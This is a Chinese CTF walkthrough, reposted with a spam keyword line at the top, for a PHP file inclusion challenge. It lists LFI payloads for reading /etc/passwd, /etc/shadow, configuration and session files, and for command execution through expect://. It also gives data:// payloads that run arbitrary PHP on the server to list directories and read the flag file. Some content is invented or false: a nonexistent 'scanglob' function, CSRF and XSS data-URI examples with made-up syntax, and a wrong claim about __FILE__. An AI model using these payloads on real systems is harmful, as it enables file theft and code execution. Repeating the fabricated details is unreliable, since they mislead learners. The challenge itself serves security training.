国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

[CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)

這篇具有很好參考價值的文章主要介紹了[CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全

代碼審計

這段代碼首先通過 show_source(__FILE__) 顯示當(dāng)前文件的源代碼,然后通過 $_GET['hello'] 顯示 URL 參數(shù)中名為 hello 的值。

接下來,代碼使用 $_GET['page'] 獲取 URL 參數(shù)中名為 “page” 的值,并進行字符串替換,將 php:// 替換為空字符串
這是為了防止通過 URL 參數(shù)加載本地文件或其他可疑文件以實現(xiàn)攻擊。

最后,代碼使用 include($page) 加載根據(jù) GET 參數(shù)動態(tài)指定的文件。

PHP_include

php_include 是 PHP 語言中一個重要的文件包含機制,可以將一個 PHP 文件包含到另一個 PHP 腳本文件中。該機制通常用于代碼復(fù)用和模塊化開發(fā),在不同的 PHP 文件之間實現(xiàn)函數(shù)和類等代碼的共享。

在 PHP 中,有兩種文件包含機制:includerequire。它們都可以將指定的 PHP 文件包含到當(dāng)前腳本中,但兩者在出錯處理和返回值方面稍有不同。具體來說:

  • include:如果包含文件不存在或者出現(xiàn)錯誤,PHP 會發(fā)出警告并繼續(xù)執(zhí)行腳本。
  • require:如果包含文件不存在或者出現(xiàn)錯誤,PHP 會立即停止腳本執(zhí)行,并拋出致命錯誤。

此外,還有兩個特殊的文件包含機制:include_oncerequire_once。它們可以確保包含文件只被包含一次,避免重復(fù)包含和執(zhí)行。

例子:

<?php
// include.php 文件內(nèi)容
function add($a, $b) {
    return $a + $b;
}

// index.php 文件內(nèi)容
include 'include.php'; // 包含 include.php 文件
echo add(2, 3); // 調(diào)用包含文件中的函數(shù)
?>

在上面的例子中,index.php 文件使用 include 語句包含了 include.php 文件,并調(diào)用其中定義的 add 函數(shù),實現(xiàn)了代碼的復(fù)用。


文件包含漏洞及偽協(xié)議Payload

文件包含漏洞(Local File Inclusion,LFI)是一種常見的 web 應(yīng)用程序漏洞,攻擊者利用該漏洞可以讀取本地服務(wù)器上的敏感文件,或執(zhí)行任意代碼,從而實現(xiàn)對系統(tǒng)的控制。

PHP偽協(xié)議

PHP 偽協(xié)議是一種特殊的 URI 協(xié)議,可以繞過通常的協(xié)議限制,直接訪問本地文件和執(zhí)行 PHP 代碼。

惡意 PHP 偽協(xié)議

以下是一些常見的Payload:

  1. 讀取 /etc/passwd 文件,顯示系統(tǒng)用戶列表
http://example.com/index.php?page=/etc/passwd
  1. 讀取 /etc/shadow 文件,嘗試破解系統(tǒng)用戶密碼
http://example.com/index.php?page=/etc/shadow
  1. 讀取當(dāng)前目錄下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
  1. 讀取 MySQL 配置文件,獲取數(shù)據(jù)庫連接信息
http://example.com/index.php?page=/var/www/config.php
  1. 讀取 PHP Session 文件,竊取用戶會話信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
  1. 利用 expect 協(xié)議執(zhí)行任意命令
http://example.com/index.php?page=expect://id
  1. 利用 data 協(xié)議讀取 base64 編碼的文件內(nèi)容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=

data偽協(xié)議

data 偽協(xié)議是一種用于內(nèi)嵌數(shù)據(jù)的偽協(xié)議,它可以將數(shù)據(jù)直接嵌入到 URI 中。這種偽協(xié)議通常用于將小型的圖片、音頻、視頻等數(shù)據(jù)內(nèi)嵌到網(wǎng)頁中,從而減少 HTTP 請求的數(shù)量,并提高頁面加載速度。data URI 的語法如下:

data:[<mediatype>][;base64],<data>

其中,mediatype 是媒體類型,例如 text/plain、image/jpeg、audio/mpeg 等;如果數(shù)據(jù)需要進行 base64 編碼,則在 media type 后添加 ;base64 標記;data 是實際的數(shù)據(jù)內(nèi)容。

例如,下面的代碼就是將一張圖片內(nèi)嵌到 HTML 頁面中:

<img src="data:image/png;base64,iVBORw0KG..."/>

惡意 data 偽協(xié)議

  1. XSS 攻擊:

攻擊者可以構(gòu)造如下的 data URI:

data:text/html;<script>alert('惡意腳本')</script>

將其嵌入到 web 頁面中:

<iframe src="data:text/html;<script>alert('惡意腳本')</script>"></iframe>

當(dāng)用戶訪問頁面時,將會彈出一個惡意的彈窗提示框,這可能會竊取用戶信息或執(zhí)行其他惡意行為。

  1. CSRF 攻擊:

攻擊者可以構(gòu)造如下的 data URI:

data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>

將其嵌入到 web 頁面中:

<img src="data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>" />

當(dāng)用戶訪問頁面時,將會自動發(fā)起一筆轉(zhuǎn)賬請求,將 100000 元轉(zhuǎn)賬到攻擊者指定的賬戶上。

  1. 釣魚詐騙:

攻擊者可以構(gòu)造如下的 data URI:

data:text/html;<meta http-equiv=refresh content='0; url=http://example.com/login.html'>

偽裝成合法網(wǎng)站,并將其嵌入到欺騙用戶的郵件或者社交媒體中。當(dāng)用戶點擊鏈接訪問頁面時,將會跳轉(zhuǎn)到攻擊者指定的網(wǎng)站,可能會泄漏個人隱私信息。

Payload:
Cookie外帶
?page=data://text/plain,<script>alert(document.cookie)</script>

ping本地回環(huán)地址
?page=data://text/plain,<?php system("ping 127.0.0.1");?>

Base64編碼繞過
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全

查看PHP info
?page=data://text/plain,<?php echo phpinfo();?>

模板
?page=data://text/plain,惡意代碼


file偽協(xié)議

file 偽協(xié)議用于訪問本地文件系統(tǒng)中的文件,可以在 web 頁面中鏈接到本地文件,或者讀取本地文件中的數(shù)據(jù)。file URI 的語法如下:

file://<host>/<path>

其中,host 表示主機名或 IP 地址(可省略),path 表示文件路徑(必須以 / 開頭)。例如,下面的代碼就是鏈接到本地的 index.html 文件:

<a href="file:///var/www/html/index.html">Click me</a>

惡意 file 偽協(xié)議

file 偽協(xié)議用于指定本地文件路徑,例如:

file:///C:/Users/Desktop/index.html

如果一個 web 頁面使用 file 偽協(xié)議來加載本地文件,那么攻擊者可以通過構(gòu)造特定的文件路徑,來實現(xiàn)一些惡意行為。

  1. 文件包含漏洞:攻擊者可以將惡意代碼寫入到本地文件中,并將其路徑構(gòu)造成 file 偽協(xié)議形式,從而實現(xiàn)對 web 應(yīng)用的攻擊。例如,攻擊者可以構(gòu)造如下的路徑:
file:///C:/Users/hacker/attack.php?parameter=<script>alert('惡意腳本')</script>
  1. 釣魚詐騙:攻擊者可以將偽裝成合法網(wǎng)站的本地文件,例如 login.html,然后使用 file 偽協(xié)議來引用該文件,從而欺騙用戶輸入自己的賬戶信息。例如,攻擊者可以構(gòu)造如下的路徑:
file:///C:/Users/hacker/login.html

然后將該路徑作為鏈接的 href 屬性值,發(fā)送給用戶。


知識點及姿勢

由于沒有對 $page 變量進行足夠的過濾和驗證,因此可使用文件包含讀取flag
Payload:?page=data://text/plain,<?php echo phpinfo();?>

攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全
由上圖可知,data偽協(xié)議執(zhí)行成功。

讀取目錄路徑

  1. $_SERVER['DOCUMENT_ROOT']; 會返回當(dāng)前運行 PHP 腳本所在的文檔根目錄(Document Root)的絕對路徑。

  2. 使用 $_SERVER['CONTEXT_DOCUMENT_ROOT'] 變量,它返回當(dāng)前運行 PHP 腳本所在上下文的文檔根目錄的絕對路徑。

  3. 使用 dirname(__FILE__) 函數(shù),該函數(shù)返回當(dāng)前執(zhí)行的 PHP 腳本所在位置的絕對路徑。

  4. 使用 getcwd() 函數(shù),該函數(shù)返回當(dāng)前工作目錄的絕對路徑。此方法適用于在 PHP 執(zhí)行期間更改當(dāng)前工作目錄的情況。

需要注意的是,在 PHP 7.0 及以后版本中,不再推薦使用 __FILE__ 常量,而是建議使用 __DIR__ 常量來代替 dirname(__FILE__) 函數(shù)。

如果網(wǎng)站根目錄是 /var/www/html,則可以使用以下任意一種方式來獲取網(wǎng)站根目錄路徑:

// 方法1
$rootPath = $_SERVER['DOCUMENT_ROOT'];

// 方法2
$rootPath = dirname(__FILE__);

// 方法3
$rootPath = getcwd();

// 方法4
$rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];

dirname(FILE)讀取目錄路徑實例

舉例如下:
Payload ?page=data://text/plain,<?php echo dirname(__FILE__);?>
攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全
由上圖可知,dirname(FILE)返回了當(dāng)前執(zhí)行的 PHP 腳本所在位置的絕對路徑text


Payload ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全
由上圖可知,$_SERVER['DOCUMENT_ROOT']; 返回了當(dāng)前運行 PHP 腳本所在的文檔根目錄的絕對路徑/var/www

讀取目錄文件

PHP 中一些獲取目錄下文件和子目錄的函數(shù):

  1. scandir('指定目錄') 函數(shù)將返回指定目錄中的所有文件和子目錄的數(shù)組列表

  2. glob($pattern, $flags):根據(jù)指定模式匹配獲取與之匹配的文件或目錄列表。$pattern 參數(shù)是一個通配符模式,支持 *? 等通配符,例如 *.txt 匹配所有以 .txt 結(jié)尾的文件。如果要獲取文件和目錄,可以使用 * 作為通配符。$flags 參數(shù)是一個可選參數(shù),用于設(shè)置匹配模式和排序規(guī)則等。

  3. scanglob($directory, $pattern):類似于 glob 函數(shù),但是可以在指定的目錄下遞歸搜索匹配指定模式的文件或目錄。$directory 參數(shù)是要搜索的目錄,$pattern 參數(shù)是要匹配的通配符模式。


glob讀取目錄文件實例

例如,基于代碼可以打印輸出目錄 /var/www 下所有以 .php 結(jié)尾的文件列表:

foreach (glob("/var/www/*.php") as $file) {
    echo basename($file) . "\n";
}

基于以上代碼構(gòu)造POC:

?page=data://text/plain,<?php foreach (glob("/var/www/*.php") as $file){echo basename($file) . "\n";}?>

回顯如下:

攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全


Payload?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全由上圖,回顯fl4gisisish3r3.php

讀取文件內(nèi)容

file_get_contents($filename) 是 PHP 中一個常用的文件操作函數(shù),它可以返回指定文件的內(nèi)容
Payload:?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo $a; ?>
該Payload正確,但無回顯。

猜測fl4gisisish3r3.php中字符串為HTML標簽,從而被當(dāng)作HTML元素來解析和顯示
Payload?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全
如上圖,猜測正確。


readfile讀取文件內(nèi)容實例

如果想使用 readfile 函數(shù)讀取文件并輸出到瀏覽器,但又希望避免瀏覽器解析 HTML 元素,可以使用 PHP 的 header() 函數(shù)來設(shè)置響應(yīng)頭,將輸出內(nèi)容的類型設(shè)置為純文本格式。

下面的代碼演示如何通過 readfile 函數(shù)將文件內(nèi)容輸出到瀏覽器,并避免 HTML 元素被解析:

<?php
// 設(shè)置響應(yīng)頭,將輸出內(nèi)容的類型設(shè)置為純文本格式
header("Content-Type: text/plain");

// 使用 readfile 函數(shù)讀取文件內(nèi)容并輸出到瀏覽器
readfile("fl4gisisish3r3.php");
?>

基于以上代碼構(gòu)造POC:?page=data://text/plain,<?php header("Content-Type: text/plain");readfile("fl4gisisish3r3.php");?>

攻防世界web_php_include,# CTF賽題,網(wǎng)絡(luò)安全,# 文件包含漏洞,web安全,CTF,php,網(wǎng)絡(luò)安全


總結(jié)

該題考察文件包含漏洞,涉及PHP偽協(xié)議、data偽協(xié)議、file偽協(xié)議PHP內(nèi)置函數(shù)等知識點,讀者可躬身實踐。

我是秋說,我們下次見。文章來源地址http://www.zghlxwxcb.cn/news/detail-715849.html

到了這里,關(guān)于[CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 simple_php 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 simple_php 解題詳析

    題目描述:小寧聽說php是最好的語言,于是她簡單學(xué)習(xí)之后寫了幾行php代碼。 $a=@$_GET[\\\'a\\\']; 從HTTP GET請求參數(shù)中獲取一個名為a的變量,并將其賦值給變量a。@符號用于禁止錯誤輸出,如果不存在參數(shù)a則會將變量a設(shè)置為NULL。 $b=@$_GET[\\\'b\\\']; 從HTTP GET請求參數(shù)中獲取一個名為b的變量,

    2024年02月13日
    瀏覽(19)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 view_source 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 view_source 解題詳析

    題目描述:X老師讓小寧同學(xué)查看一個網(wǎng)頁的源代碼,但小寧同學(xué)發(fā)現(xiàn)鼠標右鍵好像不管用了。 單擊鼠標右鍵,點擊查看頁面源代碼: 使用瀏覽器菜單:不同的瀏覽器可能會在不同的位置提供查看頁面源代碼的選項。 以Firefox為例,打開應(yīng)用程序菜單即可: 使用快捷鍵:幾乎

    2024年02月13日
    瀏覽(26)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析

    該題涉及Java Script原型鏈污染:JavaScript 原型鏈污染講解 可以看到,后端編程語言為Node.js, 簡單來講,通過 newUser.__proto__ 可以訪問到新對象的原型 未污染時: 污染時: 我們以知識點的利用為主,查看源代碼: 若isAdmin的屬性是true,則它為管理員,否則為普通用戶;于是我

    2024年02月06日
    瀏覽(67)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    由于index.php在/var/www/html目錄下,而flag.php與index.php同為php文件,故猜想flag.php也在該目錄下。 查看頁面源代碼獲取更多信息: 源代碼中看到 @include($lan.\\\".php\\\"); ,即此處存在文件包含。 又因為 $lan = $_COOKIE[\\\'language\\\']; 因此解題思路為:利用php偽協(xié)議,構(gòu)造language參數(shù),來讀取該目

    2024年02月07日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 php_rce 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 php_rce 解題詳析

    PHP RCE 指的是通過遠程代碼執(zhí)行漏洞(Remote Code Execution)來攻擊 PHP 程序的一種方式。簡單來說,由于PHP應(yīng)用程序沒有正確處理外部輸入數(shù)據(jù)(如用戶提交的表單、請求參數(shù)等),攻擊者通過某些手段向 PHP 應(yīng)用程序中注入惡意代碼,然后通過這些惡意代碼實現(xiàn)對受攻擊服務(wù)器

    2024年02月06日
    瀏覽(23)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 weak_auth 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 weak_auth 解題詳析

    題目描述:小寧寫了一個登陸驗證頁面,隨手就設(shè)了一個密碼。 weak_auth翻譯: 弱認證 這個術(shù)語通常用來描述一種較弱的安全認證方法或機制,它可能存在安全漏洞,易受到攻擊或者被繞過。 在信息安全領(lǐng)域中,弱認證是一種常見的安全威脅。例如,使用簡單的密碼或者未加

    2024年02月13日
    瀏覽(23)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 disabled_button 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 disabled_button 解題詳析

    題目描述:X老師今天上課講了前端知識,然后給了大家一個不能按的按鈕,小寧驚奇地發(fā)現(xiàn)這個按鈕按不下去,到底怎么才能按下去呢? 題目提示 前端知識 ,由HTML相關(guān)知識可知,該按鈕 即input標簽 不能提交的原因有以下六種: 沒有包含在表單中: input 標簽必須包含在表

    2024年02月07日
    瀏覽(23)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 command_execution 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 command_execution 解題詳析

    題目描述:小寧寫了個ping功能,但沒有寫waf,X老師告訴她這是非常危險的,你知道為什么嗎。 ping 命令是一個常用的網(wǎng)絡(luò)命令,用于測試兩臺計算機之間網(wǎng)絡(luò)連接的連通性。通過向目標計算機發(fā)送 ICMP 協(xié)議的數(shù)據(jù)包,并等待目標計算機返回響應(yīng)數(shù)據(jù)包來測試網(wǎng)絡(luò)的可達性,同時

    2024年02月06日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 file_include 解題詳析(php偽協(xié)議+convert轉(zhuǎn)換過濾器)

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 file_include 解題詳析(php偽協(xié)議+convert轉(zhuǎn)換過濾器)

    題目描述:怎么讀取文件呢? 思路: 由代碼審計可知,可通過filename參數(shù)構(gòu)造POC,來讀取check.php POC的構(gòu)造涉及PHP偽協(xié)議,參考鏈接: 文件包含 | PHP偽協(xié)議實戰(zhàn) POC: 回顯如下: 猜測被過濾,怎么辦呢? 該題涉及到 convert轉(zhuǎn)換過濾器 常見的convert轉(zhuǎn)換過濾器有這兩種:

    2024年02月07日
    瀏覽(24)
  • 有哪些信息安全/網(wǎng)絡(luò)安全/滲透測試/眾測/CTF/紅藍攻防/漏洞測試等前沿技術(shù)/研究/技巧獲取渠道?

    有哪些信息安全/網(wǎng)絡(luò)安全/滲透測試/眾測/CTF/紅藍攻防/漏洞測試等前沿技術(shù)/研究/技巧獲取渠道?

    護網(wǎng)的定義是以國家組織組織事業(yè)單位、國企單位、名企單位等開展攻防兩方的網(wǎng)絡(luò)安全演習(xí)。進攻方一個月內(nèi)采取不限方式對防守方展開進攻,不管任何手段只要攻破防守方的網(wǎng)絡(luò)并且留下標記即成功,直接沖到防守方的辦公大樓,然后物理攻破也算成功。護網(wǎng)是國家應(yīng)對

    2024年02月06日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包